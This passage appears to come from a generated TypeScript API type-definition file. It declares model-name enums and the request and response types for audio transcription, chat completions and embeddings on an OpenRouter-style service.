'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostAudioTranscriptionsRequestModelEnumKey = + (typeof openrouterPostAudioTranscriptionsRequestModelEnum)[keyof typeof openrouterPostAudioTranscriptionsRequestModelEnum] + +export const openrouterPostAudioTranscriptionsRequestResponseFormatEnum = { + json: 'json', + verbose_json: 'verbose_json', +} as const + +export type OpenrouterPostAudioTranscriptionsRequestResponseFormatEnumKey = + (typeof openrouterPostAudioTranscriptionsRequestResponseFormatEnum)[keyof typeof openrouterPostAudioTranscriptionsRequestResponseFormatEnum] + +export const openrouterPostAudioTranscriptionsRequestTimestampGranularitiesEnum = + { + word: 'word', + segment: 'segment', + } as const + +export type OpenrouterPostAudioTranscriptionsRequestTimestampGranularitiesEnumKey = + (typeof openrouterPostAudioTranscriptionsRequestTimestampGranularitiesEnum)[keyof typeof openrouterPostAudioTranscriptionsRequestTimestampGranularitiesEnum] + +export type OpenrouterPostAudioTranscriptionsBody = { + /** + * @description Label each word with the speaker who said it (words[].speaker, words[].speaker_label). Requires response_format "verbose_json" (400 otherwise); word timestamps are included even when timestamp_granularities[] omits "word". Only supported by some providers; 400 when the selected model cannot diarize. + * @type boolean | undefined + */ + diarize?: boolean + /** + * @description The audio file to transcribe. The format is derived from the filename extension or the file part content type. Max 25 MB; send larger files as base64 JSON via input_audio, or by URL via source_url. Exactly one of file or source_url is required. + * + * Format: `binary` + * @type string | undefined + */ + file?: Blob + /** + * @description Domain terms, names, or phrases to bias recognition toward; repeat the part once per term (keyterms=... is also accepted). Only supported by some providers; 400 when the selected model cannot use keyterms. + * @type array | undefined + */ + 'keyterms[]'?: string[] + /** + * @description The language of the input audio (ISO-639-1). + * @type string | undefined + */ + language?: string + /** + * @description The model to use for transcription. + * @type string + */ + model: OpenrouterPostAudioTranscriptionsRequestModelEnumKey + /** + * @description JSON-encoded provider preferences object, the same shape as the JSON body field: { "zdr": true, "data_collection": "deny", "options": { "": { ... } } }. Only options for the matched provider are forwarded. Must decode to a JSON object. + * @type string | undefined + */ + provider?: string + /** + * @description The response format. "json" (default) returns { text, usage }; "verbose_json" additionally returns task, language, duration, and segment-level timestamps (OpenAI-compatible providers only). + * @type string | undefined + */ + response_format?: OpenrouterPostAudioTranscriptionsRequestResponseFormatEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. + * @maxLength 256 + * @type string | undefined + */ + session_id?: string + /** + * @description Publicly reachable http(s) URL of the audio file, downloaded by the provider directly (no size limit on our side). The format is derived from the URL path extension. Only supported by some providers; exactly one of file or source_url is required. + * + * Format: `uri` + * @maxLength 8000 + * @type string | undefined + */ + source_url?: string + /** + * @description The sampling temperature. + * @minimum 0 + * @maximum 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Timestamp detail levels to include when response_format is "verbose_json". "word" additionally returns word-level timestamps in the words array. + * @type array | undefined + */ + 'timestamp_granularities[]'?: OpenrouterPostAudioTranscriptionsRequestTimestampGranularitiesEnumKey[] + /** + * @description JSON-encoded trace metadata object (trace_id, trace_name, span_name, generation_name, parent_span_id and custom keys) attached to the Broadcast trace. Must decode to a JSON object. + * @type string | undefined + */ + trace?: string + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostAudioTranscriptionsOptions = { + body: OpenrouterPostAudioTranscriptionsBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostAudioTranscriptionsResponses = { + '200': OpenrouterPostAudioTranscriptionsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostAudioTranscriptionsResponse = + OpenrouterPostAudioTranscriptionsStatus200 + +/** + * @description Chat completion response + * @example {"choices":[{"finish_reason":"stop","index":0,"message":{"content":"The capital of France is Paris.","role":"assistant"}}],"created":1677652288,"id":"chatcmpl-123","model":"openai/gpt-4","object":"chat.completion","system_fingerprint":"fp_44709d6fcb","usage":{"completion_tokens":15,"prompt_tokens":10,"total_tokens":25}} + * @type object + */ +export type OpenrouterPostChatCompletionsStatus200Json = { + /** + * @description Beta. The result of the alignment plugin for this request; the shape may change. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + * @type object | undefined + */ + alignment?: Alignment + /** + * @description List of completion choices + * @type array + */ + choices: ChatChoice[] + /** + * @description Unix timestamp of creation + * @example 1677652288 + * @type integer + */ + created: number + /** + * @description Unique completion identifier + * @example chatcmpl-123 + * @type string + */ + id: string + /** + * @description Model used for completion + * @example openai/gpt-4 + * @type string + */ + model: string + object: 'chat.completion' + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + /** + * @description OpenRouter Armor's verdict for each client tool call of this response, present whenever Armor evaluated the response (even when nothing was flagged). Independent of the `openrouter_metadata` opt-in. + * @type array | undefined + */ + safeguard_results?: ArmorSafeguardResult[] + /** + * @description The service tier used by the upstream provider for this request + * @example default + * @type string | undefined + */ + service_tier?: string | null + /** + * @description System fingerprint + * @example fp_44709d6fcb + * @type string + */ + system_fingerprint: string | null + /** + * @description Token usage statistics + * @example {"completion_tokens":15,"completion_tokens_details":{"reasoning_tokens":5},"cost":0.0012,"cost_details":{"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008},"is_byok":false,"prompt_tokens":10,"prompt_tokens_details":{"cached_tokens":2},"server_tool_use_details":{"tool_calls_executed":2,"tool_calls_requested":2},"total_tokens":25} + * @type object | undefined + */ + usage?: ChatUsage +} + +/** + * @example {"data":{"choices":[{"delta":{"content":"Hello","role":"assistant"},"finish_reason":null,"index":0}],"created":1677652288,"id":"chatcmpl-123","model":"openai/gpt-4","object":"chat.completion.chunk"}} + * @type object + */ +export type OpenrouterPostChatCompletionsStatus200EventStream = { + /** + * @description Streaming chat completion chunk + * @example {"choices":[{"delta":{"content":"Hello","role":"assistant"},"finish_reason":null,"index":0}],"created":1677652288,"id":"chatcmpl-123","model":"openai/gpt-4","object":"chat.completion.chunk"} + * @type object + */ + data: ChatStreamChunk +} + +export type OpenrouterPostChatCompletionsStatus200 = + | OpenrouterPostChatCompletionsStatus200Json + | OpenrouterPostChatCompletionsStatus200EventStream + +export const openrouterPostChatCompletionsRequestModalitiesEnum = { + text: 'text', + image: 'image', + audio: 'audio', +} as const + +export type OpenrouterPostChatCompletionsRequestModalitiesEnumKey = + (typeof openrouterPostChatCompletionsRequestModalitiesEnum)[keyof typeof openrouterPostChatCompletionsRequestModalitiesEnum] + +export const openrouterPostChatCompletionsRequestReasoningEffortEnum = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type OpenrouterPostChatCompletionsRequestReasoningEffortEnumKey = + (typeof openrouterPostChatCompletionsRequestReasoningEffortEnum)[keyof typeof openrouterPostChatCompletionsRequestReasoningEffortEnum] + +export const openrouterPostChatCompletionsRequestReasoningEffortEnum2 = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type OpenrouterPostChatCompletionsRequestReasoningEffortEnum2Key = + (typeof openrouterPostChatCompletionsRequestReasoningEffortEnum2)[keyof typeof openrouterPostChatCompletionsRequestReasoningEffortEnum2] + +export const openrouterPostChatCompletionsRequestServiceTierEnum = { + auto: 'auto', + default: 'default', + fast: 'fast', + flex: 'flex', + priority: 'priority', + scale: 'scale', + ultrafast: 'ultrafast', +} as const + +export type OpenrouterPostChatCompletionsRequestServiceTierEnumKey = + (typeof openrouterPostChatCompletionsRequestServiceTierEnum)[keyof typeof openrouterPostChatCompletionsRequestServiceTierEnum] + +/** + * @description Chat completion request parameters + * @example {"max_tokens":150,"messages":[{"content":"You are a helpful assistant.","role":"system"},{"content":"What is the capital of France?","role":"user"}],"model":"openai/gpt-4","temperature":0.7} + * @type object + */ +export type OpenrouterPostChatCompletionsBody = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + /** + * @description Debug options for inspecting request transformations (streaming only) + * @example {"echo_upstream_body":true} + * @type object | undefined + */ + debug?: ChatDebugOptions + /** + * @description Opt-in versioned router-level deferred-tool protocol. Replay assistant reasoning unchanged on continuation; keep the catalog unchanged. + * @example {"profile":"portable","protocol":"v1","search":{"max_results":5,"type":"bm25"},"validation":"runtime"} + * @type object | undefined + */ + deferred_tools?: DeferredToolsControl + /** + * @description Frequency penalty (-2.0 to 2.0) + * + * Format: `double` + * @example 0 + * @type number | undefined + */ + frequency_penalty?: number | null + /** + * @description Provider-specific image configuration options. Keys and values vary by model/provider. See https://openrouter.ai/docs/guides/overview/multimodal/image-generation for more details. + * @example {"aspect_ratio":"16:9","quality":"high"} + * @type object | undefined + */ + image_config?: ImageConfig + /** + * @description Token logit bias adjustments + * @example {"50256":-100} + * @type object | undefined + */ + logit_bias?: { + [key: string]: number + } | null + /** + * @description Return log probabilities + * @example false + * @type boolean | undefined + */ + logprobs?: boolean | null + /** + * @description Maximum tokens in completion + * @example 100 + * @type integer | undefined + */ + max_completion_tokens?: number | null + /** + * @description Maximum tokens (deprecated, use max_completion_tokens). Note: some providers enforce a minimum of 16. + * @example 100 + * @type integer | undefined + */ + max_tokens?: number | null + /** + * @description List of messages for the conversation + * @example [{"content":"Hello!","role":"user"}] + * @type array + */ + messages: ChatMessages[] + /** + * @description Key-value pairs for additional object information (max 16 pairs, 64 char keys, 512 char values) + * @example {"session_id":"session-456","user_id":"user-123"} + * @type object | undefined + */ + metadata?: { + [key: string]: string + } + /** + * @description Minimum probability threshold relative to the most likely token. Tokens with probability below min_p * (probability of top token) are filtered out. Not all providers support this parameter. + * + * Format: `double` + * @example 0.1 + * @type number | undefined + */ + min_p?: number | null + /** + * @description Output modalities for the response. Supported values are "text", "image", and "audio". + * @example ["text","image"] + * @type array | undefined + */ + modalities?: OpenrouterPostChatCompletionsRequestModalitiesEnumKey[] + /** + * @description Model to use for completion + * @example openai/gpt-4 + * @type string | undefined + */ + model?: ModelName + /** + * @description Models to use for completion + * @example ["openai/gpt-4","openai/gpt-4o"] + * @type array | undefined + */ + models?: ChatModelNames + /** + * @description Whether to enable parallel function calling during tool use. When true, the model may generate multiple tool calls in a single response. + * @example true + * @type boolean | undefined + */ + parallel_tool_calls?: boolean | null + /** + * @description Plugins you want to enable for this request, including their settings. + * @type array | undefined + */ + plugins?: ( + | (AutoRouterPlugin & { + id: 'auto-router' + }) + | (AutoBetaRouterPlugin & { + id: 'auto-beta-router' + }) + | (ModerationPlugin & { + id: 'moderation' + }) + | (WebSearchPlugin & { + id: 'web' + }) + | (WebFetchPlugin & { + id: 'web-fetch' + }) + | (FileParserPlugin & { + id: 'file-parser' + }) + | (ResponseHealingPlugin & { + id: 'response-healing' + }) + | (ContextCompressionPlugin & { + id: 'context-compression' + }) + | (ParetoRouterPlugin & { + id: 'pareto-router' + }) + | (FusionPlugin & { + id: 'fusion' + }) + | (SwitchyardRouterPlugin & { + id: 'switchyard-router' + }) + | (JevRouterPlugin & { + id: 'jev-router' + }) + | (AlignmentPlugin & { + id: 'alignment' + }) + | (ArmorPlugin & { + id: 'armor' + }) + )[] + /** + * @description Static predicted output content. Supported models can use this to reduce latency when much of the response is known in advance. + * @example {"content":"Expected response","type":"content"} + * @type object | undefined + */ + prediction?: Prediction | null + /** + * @description Presence penalty (-2.0 to 2.0) + * + * Format: `double` + * @example 0 + * @type number | undefined + */ + presence_penalty?: number | null + prompt_cache_key?: string | null + /** + * @description Request-level prompt-cache controls. `mode: "explicit"` disables OpenAI-managed breakpoints so only blocks marked with `prompt_cache_breakpoint` are cached. `ttl` sets the minimum cache lifetime for every breakpoint the request writes: "30m" (default) or "12h" (billed at the higher 12h cache-write rate). Only supported by OpenAI GPT-5.6 and newer. + * @example {"mode":"explicit","ttl":"30m"} + * @type object | undefined + */ + prompt_cache_options?: PromptCacheOptions | null + /** + * @description When multiple model providers are available, optionally indicate your routing preference. + * @example {"allow_fallbacks":true} + * @type object | undefined + */ + provider?: ProviderPreferences | null + /** + * @description Configuration options for reasoning models + * @example {"effort":"medium","summary":"concise"} + * @type object | undefined + */ + reasoning?: { + /** + * @description Constrains effort on reasoning for reasoning models + * @example medium + * @type string | undefined + */ + effort?: OpenrouterPostChatCompletionsRequestReasoningEffortEnumKey | null + /** + * @description Maximum number of tokens the model may spend on reasoning, for models that take a reasoning token budget instead of an effort level. Cannot be combined with `reasoning.effort` or the top-level `reasoning_effort`: a request that sets both is rejected with "Only one of "reasoning.effort" and "reasoning.max_tokens" can be specified". + * @example 2000 + * @type integer | undefined + */ + max_tokens?: number | null + /** + * @example concise + * @type string | undefined + */ + summary?: ChatReasoningSummaryVerbosityEnumKey | null + } + /** + * @description Shorthand for setting reasoning effort. Equivalent to setting reasoning.effort. Cannot be used simultaneously with reasoning.effort if they differ. + * @example medium + * @type string | undefined + */ + reasoning_effort?: OpenrouterPostChatCompletionsRequestReasoningEffortEnum2Key | null + /** + * @description Penalizes tokens based on how much they have already appeared in the text. A value of 1.0 means no penalty. Values above 1.0 penalize repeated tokens more strongly. Not all providers support this parameter. + * + * Format: `double` + * @example 1 + * @type number | undefined + */ + repetition_penalty?: number | null + /** + * @description Response format configuration + * @example {"type":"json_object"} + */ + response_format?: + | (ChatFormatTextConfig & { + type: 'text' + }) + | (ChatFormatJsonObjectConfig & { + type: 'json_object' + }) + | (ChatFormatJsonSchemaConfig & { + type: 'json_schema' + }) + | (ChatFormatGrammarConfig & { + type: 'grammar' + }) + | (ChatFormatPythonConfig & { + type: 'python' + }) + /** + * @description **DEPRECATED** Use providers.sort.partition instead. Backwards-compatible alias for providers.sort.partition. Accepts legacy values: "fallback" (maps to "model"), "sort" (maps to "none"). + * @deprecated + * @example fallback + * @type string | undefined + */ + route?: DeprecatedRouteKey | null + /** + * @description Random seed for deterministic outputs + * @example 42 + * @type integer | undefined + */ + seed?: number | null + /** + * @description The service tier to use for processing this request. `fast` is accepted as an alias for `priority`. `ultrafast` prefers ultrafast endpoints and falls back to `priority`, then default endpoints. + * @example auto + * @type string | undefined + */ + service_tier?: OpenrouterPostChatCompletionsRequestServiceTierEnumKey | null + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). When provided, OpenRouter uses it as the sticky routing key, routing all requests in the session to the same provider to maximize prompt cache hits. Also used for observability grouping. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @type string | undefined + */ + session_id?: string + /** + * @description Stop sequences (up to 4) + * @example ["\n"] + */ + stop?: string | string[] | null + /** + * @description Stop conditions for the server-tool agent loop. Any condition firing halts the loop (OR logic). When set, this overrides `max_tool_calls`. When a condition fires while the model is still emitting tool calls, the pending tool calls are executed and one final turn is made with tool calls disabled so the response ends with a natural-language answer instead of an unfinished tool call. + * @example [{"step_count":5,"type":"step_count_is"},{"max_cost_in_dollars":0.5,"type":"max_cost"}] + * @type array | undefined + */ + stop_server_tools_when?: StopServerToolsWhen + /** + * @description Enable streaming response + * @default false + * @example false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description Streaming configuration options + * @example {"include_usage":true} + * @type object | undefined + */ + stream_options?: ChatStreamOptions | null + /** + * @description Sampling temperature (0-2) + * + * Format: `double` + * @example 0.7 + * @type number | undefined + */ + temperature?: number | null + /** + * @description Tool choice configuration + * @example auto + */ + tool_choice?: ChatToolChoice + /** + * @description Available tools for function calling + * @example [{"function":{"description":"Get weather","name":"get_weather"},"type":"function"}] + * @type array | undefined + */ + tools?: ChatFunctionTool[] + /** + * @description Consider only tokens with "sufficiently high" probabilities based on the probability of the most likely token. Not all providers support this parameter. + * + * Format: `double` + * @example 0 + * @type number | undefined + */ + top_a?: number | null + /** + * @description Limits the model to choose from the top K most likely tokens at each step. A value of 1 means the model will always pick the most likely next token. Not all providers support this parameter. + * @example 40 + * @type integer | undefined + */ + top_k?: number | null + /** + * @description Number of top log probabilities to return (0-20) + * @example 5 + * @type integer | undefined + */ + top_logprobs?: number | null + /** + * @description Nucleus sampling parameter (0-1) + * + * Format: `double` + * @example 1 + * @type number | undefined + */ + top_p?: number | null + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Per-end-user identifier for abuse isolation. Use a stable ID, hash, or pseudonym. When a provider requires a user identity, OpenRouter folds it into the hashed identity sent upstream and never forwards it raw. If omitted, requests use an account-level identity, so provider policy blocks can affect the whole account. + * @example user-123 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostChatCompletionsOptions = { + body: OpenrouterPostChatCompletionsBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostChatCompletionsResponses = { + '200': + | { + contentType: 'application/json' + data: OpenrouterPostChatCompletionsStatus200Json + } + | { + contentType: 'text/event-stream' + data: OpenrouterPostChatCompletionsStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostChatCompletionsResponse = + OpenrouterPostChatCompletionsStatus200 + +/** + * @description Embeddings response containing embedding vectors + * @example {"data":[{"embedding":[0.0023064255,-0.009327292,0.015797347],"index":0,"object":"embedding"}],"model":"openai/text-embedding-3-small","object":"list","usage":{"prompt_tokens":8,"total_tokens":8}} + * @type object + */ +export type OpenrouterPostEmbeddingsStatus200Json = { + /** + * @description List of embedding objects + * @example [{"embedding":[0.0023064255,-0.009327292,0.015797347],"index":0,"object":"embedding"}] + * @type array + */ + data: { + /** + * @description Embedding vector as an array of floats or a base64 string + * @example [0.0023064255,-0.009327292,0.015797347] + */ + embedding: number[] | string + /** + * @description Index of the embedding in the input list + * @example 0 + * @type integer | undefined + */ + index?: number + object: 'embedding' + }[] + /** + * @description Unique identifier for the embeddings response + * @example embd-1234567890 + * @type string | undefined + */ + id?: string + /** + * @description The model used for embeddings + * @example openai/text-embedding-3-small + * @type string + */ + model: string + object: 'list' + /** + * @description Token usage statistics + * @example {"prompt_tokens":8,"total_tokens":8} + * @type object | undefined + */ + usage?: { + /** + * @description Cost of the request in credits + * + * Format: `double` + * @example 0.0001 + * @type number | undefined + */ + cost?: number + /** + * @description Breakdown of upstream inference costs + * @example {"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008} + * @type object | undefined + */ + cost_details?: CostDetails | null + /** + * @description Whether a request was made using a Bring Your Own Key configuration + * @type boolean | undefined + */ + is_byok?: boolean + /** + * @description Number of tokens in the input + * @example 8 + * @type integer + */ + prompt_tokens: number + /** + * @description Per-modality token breakdown. Only present when the input contains 2+ modalities (e.g. text + image) and the upstream provider returns modality-level usage data. Only non-zero modality counts are included. + * @type object | undefined + */ + prompt_tokens_details?: { + /** + * @description Number of audio tokens in the input + * @type integer | undefined + */ + audio_tokens?: number + /** + * @description Number of file/document tokens in the input + * @type integer | undefined + */ + file_tokens?: number + /** + * @description Number of image tokens in the input + * @example 258 + * @type integer | undefined + */ + image_tokens?: number + /** + * @description Number of text tokens in the input + * @example 8 + * @type integer | undefined + */ + text_tokens?: number + /** + * @description Number of video tokens in the input + * @type integer | undefined + */ + video_tokens?: number + } + /** + * @description Total number of tokens used + * @example 8 + * @type integer + */ + total_tokens: number + } +} + +/** + * @description Not used for embeddings - embeddings do not support streaming + * @type string + */ +export type OpenrouterPostEmbeddingsStatus200EventStream = string + +export type OpenrouterPostEmbeddingsStatus200 = + | OpenrouterPostEmbeddingsStatus200Json + | OpenrouterPostEmbeddingsStatus200EventStream + +export const openrouterPostEmbeddingsRequestEncodingFormatEnum = { + float: 'float', + base64: 'base64', +} as const + +export type OpenrouterPostEmbeddingsRequestEncodingFormatEnumKey = + (typeof openrouterPostEmbeddingsRequestEncodingFormatEnum)[keyof typeof openrouterPostEmbeddingsRequestEncodingFormatEnum] + +export const openrouterPostEmbeddingsRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 